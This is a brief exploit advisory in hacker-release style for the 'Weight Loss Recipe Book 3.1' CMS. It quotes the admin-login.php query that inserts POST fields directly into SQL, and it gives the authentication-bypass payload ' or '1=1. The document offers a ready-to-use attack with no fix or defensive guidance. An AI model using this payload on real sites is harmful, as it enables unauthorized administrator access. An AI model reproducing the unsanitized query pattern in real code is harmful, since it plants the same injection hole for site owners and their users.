Weight Loss Recipe Book 3.1 (Auth Bypass) SQL Injection Vuln

############################### # Weight Loss Recipe Book 3.1 # ############################### Autore: x0r Emails: x0r@live.it \ andry2000@hotmail.it Cms Site: http://www.my-health-and-fitness.org/weight-loss-recipe-book.html ################################ Bug In \wlrb_files\admin-login.php SELECT * FROM ' . $program_prefix . 'administrators WHERE administrators_username = "' . $_POST['administrators_username'] . '" and administrators_pass = PASSWORD("' . $_POST['administrators_pass'] . '")'; Exploit: ' or '1=1 ############################## Greetz: EdGaR :P